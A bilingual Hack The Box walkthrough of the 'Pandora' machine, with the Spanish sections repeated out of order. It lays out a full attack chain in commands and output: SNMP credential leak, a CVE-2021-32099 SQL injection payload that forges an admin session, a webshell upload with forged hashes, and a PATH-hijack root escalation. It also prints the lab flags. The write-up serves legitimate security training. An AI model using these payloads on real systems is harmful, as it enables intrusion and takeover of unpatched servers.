Pandora
Executive summary — Pandora punishes lazy recon: the public web server on port 80 is an untouched Bootstrap template, a total decoy. The real vector sits on 161/UDP, where SNMP with the default community
publicleaks, throughhrSWRunParameters, the full command line of a running process — credentials included. From there, a reused SSH login leads to an internal vhost bound tolocalhostrunning Pandora FMS 7.0NG.742, vulnerable to CVE-2021-32099 (a pre-authenticated SQL injection that forges an admin session). With that session, the panel's file manager uploads a webshell with no extension filter at all, and a SUID backup binary with a relative-pathsystem()call — plus asetreuid()with swapped arguments — closes the chain with root.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 20.04 LTS "Focal Fossa") |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.59.207 |
Attack map
[161/UDP] SNMP community "public" — hrSWRunParameters exposes process argv
│ cleartext leak: daniel:HotelBabylon23
▼
[22] SSH — daniel (uid 1001)
│ /etc/apache2/sites-enabled/pandora.conf: vhost pandora.panda.htb
│ bound to localhost:80, PHP runs as matt (AssignUserID)
▼
[SSH -L 8000:127.0.0.1:80] tunnel into the internal vhost
│ Pandora FMS 7.0NG.742 — CVE-2021-32099
│ SQLi in chart_generator.php -> session_decode() -> forged admin $_SESSION
▼
[RCE] admin file manager uploads a .php webshell, no extension filter
│
▼
[www] uid=1000(matt) ⇒ user.txt
│ SUID /usr/bin/pandora_backup -> system("tar ...") with no absolute path
│ PATH hijack + setreuid(0,1000) with swapped arguments -> ruid=0
▼
[ROOT] bash without -p does setuid(getuid())=setuid(0) -> euid=0 ⇒ root.txt
1. Reconnaissance
ping -c 2 -W 3 10.129.59.207
PING 10.129.59.207 (10.129.59.207) 56(84) bytes of data.
64 bytes from 10.129.59.207: icmp_seq=1 ttl=63 time=37.1 ms
64 bytes from 10.129.59.207: icmp_seq=2 ttl=63 time=36.6 ms
A ttl=63 is an initial 64 (Linux/BSD) minus the single VPN hop of HTB: the target is Linux before a single scan runs, which already narrows down wordlists and escalation techniques worth prioritizing.
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN scans/allports.txt 10.129.59.207
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
closed (reset) on the remaining 65,533 ports means nothing is filtering: the TCP surface is genuinely exhausted with just those two ports. If the vector isn't there, it isn't in TCP at all.
sudo nmap -p22,80 -sCV -oN scans/services.txt 10.129.59.207
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
OpenSSH 8.2p1 + Apache 2.4.41 pins Ubuntu 20.04 LTS. Neither version has a known pre-auth RCE, so the path runs through content, not server software. The page's <head> confirms the suspicion: it's UIdeck's free "Play" template, with not a single dynamic file. A feroxbuster pass with several wordlists (directories, extensions php,html,txt) and a vhost fuzz against *.htb both come back empty — only the template's static assets.
With TCP exhausted, UDP is next — the step a plain nmap never covers, since it needs explicit -sU:
sudo nmap -sU --top-ports 100 -T4 -Pn -oN scans/udp.txt 10.129.59.207
Not shown: 58 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
PORT STATE SERVICE
161/udp open snmp
161/udp answers unambiguously (unlike the 41 open|filtered ports, reached by elimination): there's an SNMP daemon listening, and that's the real entry vector.
Resumen ejecutivo — Pandora castiga el reconocimiento perezoso: la web pública en el puerto 80 es una plantilla Bootstrap sin tocar, un señuelo total. El vector real está en 161/UDP, donde SNMP con la community por defecto
publicfiltra, a través dehrSWRunParameters, la línea de comandos completa de un proceso — credenciales incluidas. Desde ahí, un SSH reutilizado lleva a un vhost interno atado alocalhostque ejecuta Pandora FMS 7.0NG.742, vulnerable a CVE-2021-32099 (inyección SQL preautenticada que permite forjar una sesión de administrador). Con esa sesión, el gestor de ficheros del panel sube una webshell sin ningún filtro de extensión, y un binario SUID de backup con unsystem()de ruta relativa — y unsetreuid()con los argumentos invertidos — cierra la cadena con root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 20.04 LTS "Focal Fossa") |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.59.207 |
Mapa del ataque
[161/UDP] SNMP community "public" — hrSWRunParameters expone argv de procesos
│ fuga en claro: daniel:HotelBabylon23
▼
[22] SSH — daniel (uid 1001)
│ /etc/apache2/sites-enabled/pandora.conf: vhost pandora.panda.htb
│ ligado a localhost:80, PHP corre como matt (AssignUserID)
▼
[SSH -L 8000:127.0.0.1:80] túnel hacia el vhost interno
│ Pandora FMS 7.0NG.742 — CVE-2021-32099
│ SQLi en chart_generator.php -> session_decode() -> $_SESSION admin forjada
▼
[RCE] gestor de ficheros (admin) sube webshell .php sin filtro de extensión
│
▼
[www] uid=1000(matt) ⇒ user.txt
│ SUID /usr/bin/pandora_backup -> system("tar ...") sin ruta absoluta
│ PATH hijack + setreuid(0,1000) con argumentos invertidos -> ruid=0
▼
[ROOT] bash sin -p hace setuid(getuid())=setuid(0) -> euid=0 ⇒ root.txt
1. Reconocimiento
ping -c 2 -W 3 10.129.59.207
PING 10.129.59.207 (10.129.59.207) 56(84) bytes of data.
64 bytes from 10.129.59.207: icmp_seq=1 ttl=63 time=37.1 ms
64 bytes from 10.129.59.207: icmp_seq=2 ttl=63 time=36.6 ms
Un ttl=63 es un 64 inicial (Linux/BSD) menos el único salto de la VPN de HTB: el objetivo es Linux antes de lanzar un solo escaneo, lo que ya condiciona wordlists y técnicas de escalada a priorizar.
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN scans/allports.txt 10.129.59.207
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
closed (reset) en los 65.533 puertos restantes significa que no hay firewall filtrando: la superficie TCP está realmente agotada con esos dos puertos. Si el vector no aparece ahí, hay que salir de TCP.
sudo nmap -p22,80 -sCV -oN scans/services.txt 10.129.59.207
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
El par OpenSSH 8.2p1 + Apache 2.4.41 fija Ubuntu 20.04 LTS. Ninguna versión tiene un RCE preautenticado conocido, así que el camino pasa por el contenido, no por el software del servidor. El <head> de la web confirma la sospecha: es la plantilla gratuita "Play" de UIdeck, sin un solo fichero dinámico. Un feroxbuster con varias wordlists (directorios y extensiones php,html,txt) y un fuzzing de vhosts contra *.htb devuelven cero — solo los assets estáticos de la plantilla.
Agotada la superficie TCP, toca UDP — el paso que un nmap normal jamás cubre porque hace falta -sU explícito:
sudo nmap -sU --top-ports 100 -T4 -Pn -oN scans/udp.txt 10.129.59.207
Not shown: 58 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
PORT STATE SERVICE
161/udp open snmp
161/udp responde de forma inequívoca (no por descarte, como los 41 puertos open|filtered): hay un demonio SNMP escuchando, y ahí está el vector real de entrada.
2. Initial exploitation — SNMP leaks daniel's credentials
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.129.59.207 -w 100
10.129.59.207 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
The default community public works. The system branch adds more context:
snmpwalk -v2c -c public -t 3 -r 1 10.129.59.207 1.3.6.1.2.1.1
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
sysContact hands over a candidate username (Daniel), and the hostname pandora points straight at Pandora FMS, a monitoring suite with a track record of CVEs — the machine's thematic hint.
The real find lives in
HOST-RESOURCES-MIB::hrSWRunParameters(1.3.6.1.2.1.25.4.2.1.5): for every running process, SNMP publishes its command-line arguments. On Linux,/proc/<pid>/cmdlineis world-readable (0444) — that's whyps auxshows other users'-p password.snmpdsimply republishes that same information, but over the network, unauthenticated. Two independent flaws that together are a full compromise: a password onargv(CWE-214) + SNMP with a default community and no view restrictions (CWE-1188).
snmpwalk -v2c -c public -t 5 -r 1 10.129.59.207 1.3.6.1.2.1.25.4.2.1.5 | grep -viE '= STRING: ""'
iso.3.6.1.2.1.25.4.2.1.5.1006 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1133 = STRING: "-u daniel -p HotelBabylon23"
Cleartext credentials for daniel. /usr/bin/host_check is an agent checker relaunched periodically, guaranteeing the password stays visible in the process table.
sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no daniel@10.129.59.207 'id; hostname; ls -la /home'
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
pandora
drwxr-xr-x 4 daniel daniel 4096 Sep 17 14:47 daniel
drwxr-xr-x 2 matt matt 4096 Dec 7 2021 matt
The SNMP credentials are reused verbatim over SSH. daniel has no user.txt: there's a second user, matt, and that's where the next pivot points.
3. Internal vhost and tunnel into Pandora FMS
ss -tlnp
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 *:80 *:*
MySQL only listens locally. Apache exposes *:80, but the real per-vhost split lives in the configuration:
cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
</VirtualHost>
Three directives, three consequences.
VirtualHost localhost:80explains why phase 1's vhost fuzzing found nothing: the vhost only matches requests arriving over loopback, no matter whichHost:header is sent — a negative vhost-fuzzing result doesn't rule out vhosts existing, only that they're reachable over that interface.AssignUserID matt matt(MPM-ITK module) makes this vhost's PHP run as matt, notwww-data: the single most profitable design flaw in the box, since it turns any web RCE into direct access to a real system account.AllowOverride Allenables.htaccess, an alternative persistence path that wasn't needed here.
sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -f -N -L 8000:127.0.0.1:80 daniel@10.129.59.207
curl -s -i -H "Host: pandora.panda.htb" http://127.0.0.1:8000/
HTTP/1.1 200 OK
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
The port forward makes the server's own sshd open the final connection to 127.0.0.1:80, entering Apache over the loopback interface the vhost requires. The Host: header is still mandatory: Apache needs both conditions at once.
curl -s -H "Host: pandora.panda.htb" http://127.0.0.1:8000/pandora_console/ | grep -oiE 'v7\.0[^<"&]*'
v7.0NG.742_FIX_PERL2020
Confirmed from the source itself with daniel's access: $build_version = 'PC200103'. The _FIX_PERL2020 suffix patches the Perl agent, not the SQLi that's still open in this build.
4. CVE-2021-32099 — administrator session hijacking
The source was audited on the server rather than firing an exploit blindly. The entry point, reachable without authentication:
grep -n "session_id" /var/www/pandora/pandora_console/include/chart_generator.php
72:$user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
chart_generator.phpis meant to be invoked by PhantomJS to render charts for PDF reports; since the headless browser can't share cookies with the user's session, the original design passes the session identifier as a URL parameter. That architectural decision is the root of the problem — it turns a trusted value (session data) into attacker-controlled input, and the code below keeps treating it as the former.
grep -n "phpsessionid" -A 15 /var/www/pandora/pandora_console/include/lib/User.php
if (isset($data['phpsessionid']) === true) {
$info = \db_get_row_filter(
'tsessions_php',
['id_session' => $data['phpsessionid']]
);
if ($info !== false) {
$session_data = session_decode($info['data']);
$this->idUser = $_SESSION['id_usuario'];
return $this;
}
}
Two chained vulnerabilities. (a)
db_get_row_filter()builds theWHEREclause by concatenation, with no prepared statements: classic SQLi (CWE-89). (b) thedatafield of the row returned by the query gets passed tosession_decode(), which directly populates the$_SESSIONsuperglobal (CWE-502). This is what elevates the bug from "data leak" to "full authentication bypass": aUNION SELECTfabricates a row that never existed, whosedatais whatever serialized session we choose. No password, no hash needed: the session is invented out of thin air.
grep -A 4 "CREATE TABLE IF NOT EXISTS `tsessions_php`" /var/www/pandora/pandora_console/pandoradb.sql
`id_session` CHAR(52) NOT NULL,
`last_active` INTEGER NOT NULL,
`data` TEXT,
Three columns — the UNION SELECT must project exactly three values. PHP's session format is name|serialized_value;; for $_SESSION['id_usuario'] = "admin":
id_usuario|s:5:"admin";
The 5 must exactly match strlen("admin") — a mismatch makes session_decode() fail silently and the exploit "doesn't work" with no visible error. Final payload:
' UNION SELECT 'x', 1, 'id_usuario|s:5:"admin";' -- -
First attempt, and why it failed: a self-chosen identifier (
pwnsess123) was set in thesession_idparameter and then reused as thePHPSESSIDcookie. The panel kept showing the login page. The mistake: the URL parameter only feeds the vulnerable SQL query; the real PHP session is created bysession_start()on the server itself, with its own random identifier. The correct cookie is the one the server already returns in that same response — persisted intsessions_phpwithid_usuario=adminalready inside.
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" \
"' UNION SELECT 'x',1,'id_usuario|s:5:\"admin\";' -- -")
curl -s -i -c cj.txt -H "Host: pandora.panda.htb" \
"http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=$ENC" | grep -i set-cookie
Set-Cookie: PHPSESSID=sl7ti0depp63cnchlptnas3ua8; path=/
curl -s -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
"http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/setup" \
-w "HTTP %{http_code} size %{size_download}\n"
HTTP 200 size 120333
120,333 bytes versus the login page's 14,014, with the header block showing (admin) and logout links: administrator session confirmed without touching a single password. Both cases return 200 OK — response size distinguishes authenticated from unauthenticated far better than the HTTP status code here.
5. From admin to RCE — the file manager
grep -n 'decompress\|extension\|php' /var/www/pandora/pandora_console/include/functions_filemanager.php
// Notice that uploaded php files could be dangerous
if (pathinfo($fileinfo['realpath'], PATHINFO_EXTENSION) == 'php')
// ... only prints a UI warning, doesn't block the upload
No extension blacklist at all: the code's own comment acknowledges the risk and still allows the upload (CWE-434). The only control is a homemade MAC,
hash = md5(real_directory . relative_directory . dbpass)— weak by design (md5(secret‖data)instead of HMAC) and, more practically, forgeable: the "secret" is$config['dbpass'], readable withdaniel's access.
grep -E 'dbuser|dbpass' /var/www/pandora/pandora_console/include/config.php
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
With the DB password, the hashes the upload form expects can be recomputed and confirmed for the images/ directory — writable and servable, and owned by matt per section 3's AssignUserID:
curl -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
-F "file=@sh.php;filename=sh.php" -F "decompress_sent=1" \
-F "real_directory=/var/www/pandora/pandora_console/images" -F "directory=images" \
-F "hash=6427eed956c3b836eb0644629a183a9b" \
-F "hash2=594175347dddf7a54cc03f6c6d0f04b4" -F "upload_file_or_zip=1" \
"http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager"
curl -s -H "Host: pandora.panda.htb" "http://127.0.0.1:8000/pandora_console/images/sh.php?c=id"
OK:uid=1000(matt) gid=1000(matt) groups=1000(matt)
RCE as matt, exactly the user the AssignUserID promised. The webshell is served with no cookie required at all: reachable by anyone hitting the vhost, hence the need to clean it up afterward.
curl -s -H "Host: pandora.panda.htb" --get --data-urlencode "c=cat /home/matt/user.txt" \
"http://127.0.0.1:8000/pandora_console/images/sh.php"
OK:803105f16a44c0d248f3615f9baf0619
user.txt: 803105f16a44c0d248f3615f9baf0619 (permissions -rw-r----- root:matt — why daniel couldn't read it). To work comfortably during escalation (controlling PATH, running commands without re-negotiating the webshell every time) a personal SSH key was installed for matt, carefully setting chmod 700 .ssh and chmod 600 authorized_keys — sshd silently rejects a key if the permissions are too open (StrictModes yes).
6. Privilege escalation — PATH hijacking in pandora_backup
find /usr/bin /usr/sbin /bin /sbin /usr/local -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/pandora_backup ◄── NOT STANDARD
/usr/bin/passwd
/usr/bin/su
Scoping the search to the usual directories avoids timing out a full find / over SSH. Among the usual SUID binaries, /usr/bin/pandora_backup stands out (-rwsr-x--- root matt: only matt can run it, confirming the daniel → matt pivot was mandatory, not just convenient). pkexec is also present, and this Ubuntu build is vulnerable to PwnKit (CVE-2021-4034) — a valid alternative path to root, skipped here for being generic and unrelated to the box's intended design; the built-in binary is the intended route.
strings /usr/bin/pandora_backup
setreuid
system
getuid
geteuid
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
tar is invoked with no absolute path, alongside system() and setreuid(): the pattern is unmistakable. Disassembling main confirms the exact order of the call:
call getuid@plt ; ebx = getuid() = 1000
call geteuid@plt ; eax = geteuid() = 0
mov esi,ebx ; arg2 (euid) = 1000
mov edi,eax ; arg1 (ruid) = 0
call setreuid@plt ; setreuid(0, 1000)
...
call system@plt ; system("tar -cvf /root/.backup/... ")
The reconstructed source amounts to
setreuid(geteuid(), getuid()). The developer almost certainly meantsetreuid(getuid(), geteuid())— the usual pattern for dropping privileges — and swapped the arguments. The actual effect issetreuid(0, 1000): theruidbecomes 0 (root) and theeuidbecomes 1000 (matt) — exactly the opposite of what was intended (CWE-273 / CWE-696).
The part that makes the exploit work:
bash, when started without-p, runssetuid(getuid())to "drop" inherited privileges and avoid being abused as an escalation vector in SUID binaries. Here that mechanism backfires —getuid()returns 0 (theruid, now root), andsetuid(0)witheuid != 0is permitted because the requesteduidmatches the process'sruid: the shell spawned inside the backup ends up witheuid=0. Runningbash -phere would actually be counterproductive:-ptellsbashNOT to do thatsetuid(), leaving the shell ateuid=1000.
mkdir -p /tmp/.x
printf '#!/bin/bash\n/bin/bash\n' > /tmp/.x/tar
chmod 755 /tmp/.x/tar
export PATH=/tmp/.x:$PATH
echo 'id -a; cat /root/root.txt' | /usr/bin/pandora_backup
uid=0(root) gid=1000(matt) groups=1000(matt)
49cc3494e24c2d3fa18d739097723e3f
PandoraFMS Backup Utility
Backup successful!
/tmp/.x/tar, placed at the front of PATH, wins the resolution of system("tar ...") over /usr/bin/tar. Since there's no TTY (commands run over non-interactive SSH), commands are piped through stdin into the bash spawned inside the backup — reproducible without negotiating a pseudo-terminal. The gid stays matt (setreuid() doesn't touch GIDs), but it's irrelevant: uid=0 bypasses any file permission check.
root.txt: 49cc3494e24c2d3fa18d739097723e3f. As a final good practice, planted artifacts were removed: the webshell, the /tmp/.x directory and matt's SSH key — leaving the logs untouched, since in an authorized engagement they're the trace that validates the client's detection capabilities.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon / initial leak | snmpd (community public) | Unrestricted SNMP views expose hrSWRunParameters (process argv) | daniel's credentials in cleartext (CWE-1188 / CWE-214) |
| Lateral movement | SSH / pandora.conf | Credential reuse + vhost running as a real system user (AssignUserID) | Interactive access with widened blast radius (CWE-262 / CWE-250) |
| Web exploitation | chart_generator.php → User.php | Unauthenticated SQLi (CVE-2021-32099) + deserialization into $_SESSION | Full administrator session hijack (CWE-89 / CWE-502) |
| RCE | godmode/setup/file_manager | File upload with no extension whitelist; forgeable homemade MAC | Code execution as matt (user.txt) (CWE-434 / CWE-327) |
| PrivEsc | /usr/bin/pandora_backup (SUID) | Relative-path system() + setreuid() with swapped arguments | PATH hijacking to root (root.txt) (CWE-426 / CWE-273) |
Lessons learned
- UDP scanning (
nmap -sU) should run in parallel with TCP from minute zero, not after exhausting the TCP surface: the real vector here lived on 161/udp, and losing sight of it wasted an entire phase fuzzing a static web template. - SNMP with a default community turns information that's theoretically "local only" (
/proc/<pid>/cmdline) into a remote, pre-authenticated leak viahrSWRunParameters— never pass secrets as command-line arguments, and always restrict SNMP views. - A negative vhost-fuzzing result doesn't rule out vhosts existing: a
<VirtualHost localhost:80>is only reachable from the server itself, and no wordlist entry changes that from the outside. - Apache MPM-ITK's
AssignUserIDshould always point to a dedicated service account, never a real system account with a$HOMEand a shell — that's what turns a web RCE into direct access to the user flag. - When attacking an admin panel, response size distinguishes authenticated from unauthenticated far better than the HTTP status code — a
200 OKwith the login form is the most common false positive when verifying a bypass. - A SUID binary that invokes an external command by relative name inside
system()is always vulnerable to PATH hijacking; the only solid fix isexecve()with an absolute path and a sanitized environment, never an intermediate shell. - Swapping the arguments of a privilege-dropping call (
setreuid/setuid) can silently turn "drop privileges" into an escalation — andbash's own safety mechanism (setuid(getuid())when started without-p) is exactly what triggers it.
2. Explotación inicial — SNMP filtra las credenciales de daniel
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.129.59.207 -w 100
10.129.59.207 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
La community por defecto public funciona. La rama system añade más contexto:
snmpwalk -v2c -c public -t 3 -r 1 10.129.59.207 1.3.6.1.2.1.1
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
sysContact entrega un nombre de usuario candidato (Daniel) y el hostname pandora apunta directamente a Pandora FMS, una suite de monitorización con historial de CVEs — la pista temática de la máquina.
El hallazgo real está en
HOST-RESOURCES-MIB::hrSWRunParameters(1.3.6.1.2.1.25.4.2.1.5): para cada proceso en ejecución, SNMP publica sus argumentos de línea de comandos. En Linux,/proc/<pid>/cmdlinees legible por cualquiera (0444) — por esops auxmuestra el-p contraseñade procesos ajenos.snmpdsimplemente republica esa misma información, pero por red y sin autenticar. Dos fallos independientes que combinados son un compromiso total: contraseña enargv(CWE-214) + SNMP con community por defecto y sin restricción de vistas (CWE-1188).
snmpwalk -v2c -c public -t 5 -r 1 10.129.59.207 1.3.6.1.2.1.25.4.2.1.5 | grep -viE '= STRING: ""'
iso.3.6.1.2.1.25.4.2.1.5.1006 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1133 = STRING: "-u daniel -p HotelBabylon23"
Credenciales en claro para daniel. El binario /usr/bin/host_check es un comprobador de agentes que se relanza periódicamente, garantizando que la contraseña esté siempre visible en la tabla de procesos.
sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no daniel@10.129.59.207 'id; hostname; ls -la /home'
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
pandora
drwxr-xr-x 4 daniel daniel 4096 Sep 17 14:47 daniel
drwxr-xr-x 2 matt matt 4096 Dec 7 2021 matt
Las credenciales SNMP se reutilizan tal cual en SSH. daniel no tiene user.txt: existe un segundo usuario, matt, y hacia él apunta el siguiente pivote.
3. Vhost interno y túnel hacia Pandora FMS
ss -tlnp
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 *:80 *:*
MySQL solo escucha en local. Apache expone *:80, pero la separación real por vhost está en la configuración:
cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
</VirtualHost>
Tres directivas, tres consecuencias.
VirtualHost localhost:80explica por qué el fuzzing de vhosts de la fase 1 no encontró nada: el vhost solo casa con peticiones que llegan por loopback, sea cual sea la cabeceraHost:enviada — un resultado negativo de fuzzing de vhosts no descarta que existan, solo que sean alcanzables por esa interfaz.AssignUserID matt matt(módulo MPM-ITK) hace que el PHP de este vhost corra como matt, no comowww-data: es el fallo de diseño más rentable de la máquina, porque convierte cualquier RCE web en acceso directo a una cuenta de sistema real.AllowOverride Allhabilita.htaccess, una vía alternativa de persistencia que aquí no hizo falta usar.
sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -f -N -L 8000:127.0.0.1:80 daniel@10.129.59.207
curl -s -i -H "Host: pandora.panda.htb" http://127.0.0.1:8000/
HTTP/1.1 200 OK
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
El reenvío de puerto hace que la conexión hacia 127.0.0.1:80 la abra el propio sshd del servidor, entrando por la interfaz de loopback que exige el vhost. La cabecera Host: sigue siendo obligatoria: Apache necesita ambas condiciones a la vez.
curl -s -H "Host: pandora.panda.htb" http://127.0.0.1:8000/pandora_console/ | grep -oiE 'v7\.0[^<"&]*'
v7.0NG.742_FIX_PERL2020
Confirmado desde el propio código con acceso como daniel: $build_version = 'PC200103'. El sufijo _FIX_PERL2020 corrige el agente Perl, no la SQLi que sigue abierta en esta build.
4. CVE-2021-32099 — secuestro de sesión de administrador
Se auditó el código fuente en el servidor en vez de disparar un exploit a ciegas. El punto de entrada, accesible sin autenticación:
grep -n "session_id" /var/www/pandora/pandora_console/include/chart_generator.php
72:$user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
chart_generator.phpestá pensado para que PhantomJS renderice gráficas para informes PDF; como el navegador headless no comparte cookies con la sesión del usuario, el identificador de sesión viaja como parámetro de URL. Esa decisión de arquitectura convierte un dato de confianza (la sesión) en entrada controlada por el atacante, y el código de abajo lo sigue tratando como lo primero.
grep -n "phpsessionid" -A 15 /var/www/pandora/pandora_console/include/lib/User.php
if (isset($data['phpsessionid']) === true) {
$info = \db_get_row_filter(
'tsessions_php',
['id_session' => $data['phpsessionid']]
);
if ($info !== false) {
$session_data = session_decode($info['data']);
$this->idUser = $_SESSION['id_usuario'];
return $this;
}
}
Dos vulnerabilidades encadenadas. (a)
db_get_row_filter()construye elWHEREpor concatenación, sin sentencias preparadas: SQLi clásica (CWE-89). (b) el campodatade la fila devuelta por la consulta se pasa asession_decode(), que puebla directamente la superglobal$_SESSION(CWE-502). Esto es lo que eleva el bug de "fuga de datos" a "autenticación total": con unUNION SELECTse fabrica una fila que nunca existió, cuyodataes la sesión serializada que nosotros elegimos. No hace falta ninguna contraseña ni hash: la sesión se inventa de la nada.
grep -A 4 "CREATE TABLE IF NOT EXISTS `tsessions_php`" /var/www/pandora/pandora_console/pandoradb.sql
`id_session` CHAR(52) NOT NULL,
`last_active` INTEGER NOT NULL,
`data` TEXT,
Tres columnas — el UNION SELECT debe proyectar exactamente tres valores. El formato de sesión PHP es nombre|valor_serializado;; para $_SESSION['id_usuario'] = "admin":
id_usuario|s:5:"admin";
El 5 debe coincidir exactamente con strlen("admin") — un desajuste hace que session_decode() falle en silencio y el exploit "no funcione" sin ningún error visible. Payload final:
' UNION SELECT 'x', 1, 'id_usuario|s:5:"admin";' -- -
Primer intento, y por qué falló: se fijó un identificador propio (
pwnsess123) en el parámetrosession_idy se reutilizó después como cookiePHPSESSID. El panel siguió mostrando el login. El error: el parámetro de URL solo alimenta la consulta SQL vulnerable; la sesión PHP real la creasession_start()en el propio servidor, con su propio identificador aleatorio. La cookie correcta es la que el servidor ya devuelve en esa misma respuesta — persistida entsessions_phpconid_usuario=adminincluido.
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" \
"' UNION SELECT 'x',1,'id_usuario|s:5:\"admin\";' -- -")
curl -s -i -c cj.txt -H "Host: pandora.panda.htb" \
"http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=$ENC" | grep -i set-cookie
Set-Cookie: PHPSESSID=sl7ti0depp63cnchlptnas3ua8; path=/
curl -s -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
"http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/setup" \
-w "HTTP %{http_code} size %{size_download}\n"
HTTP 200 size 120333
120.333 bytes frente a los 14.014 de la página de login, con el bloque de cabecera mostrando (admin) y enlaces de logout: sesión de administrador confirmada sin haber tocado una sola contraseña. Ambos casos responden 200 OK — el tamaño de la respuesta distingue autenticado de no autenticado mucho mejor que el código HTTP.
5. De administrador a RCE — el gestor de ficheros
grep -n 'decompress\|extension\|php' /var/www/pandora/pandora_console/include/functions_filemanager.php
// Notice that uploaded php files could be dangerous
if (pathinfo($fileinfo['realpath'], PATHINFO_EXTENSION) == 'php')
// ... solo pinta un aviso en la interfaz, no bloquea la subida
No hay lista negra de extensiones: el propio comentario del código reconoce el riesgo y aun así permite la subida (CWE-434). El único control es un MAC casero,
hash = md5(real_directory . relative_directory . dbpass)— vulnerable por diseño (md5(secreto‖datos)en vez de HMAC) y, sobre todo, forjable: el "secreto" es$config['dbpass'], legible con el acceso dedaniel.
grep -E 'dbuser|dbpass' /var/www/pandora/pandora_console/include/config.php
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
Con la contraseña de BD se recalculan y confirman los hashes esperados por el formulario para el directorio images/ — escribible y servible, y propiedad de matt por el AssignUserID de la sección 3:
curl -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
-F "file=@sh.php;filename=sh.php" -F "decompress_sent=1" \
-F "real_directory=/var/www/pandora/pandora_console/images" -F "directory=images" \
-F "hash=6427eed956c3b836eb0644629a183a9b" \
-F "hash2=594175347dddf7a54cc03f6c6d0f04b4" -F "upload_file_or_zip=1" \
"http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager"
curl -s -H "Host: pandora.panda.htb" "http://127.0.0.1:8000/pandora_console/images/sh.php?c=id"
OK:uid=1000(matt) gid=1000(matt) groups=1000(matt)
RCE como matt, exactamente el usuario que prometía el AssignUserID. La webshell se sirve sin cookie ninguna: accesible por cualquiera que alcance el vhost, de ahí la necesidad de limpiarla al terminar.
curl -s -H "Host: pandora.panda.htb" --get --data-urlencode "c=cat /home/matt/user.txt" \
"http://127.0.0.1:8000/pandora_console/images/sh.php"
OK:803105f16a44c0d248f3615f9baf0619
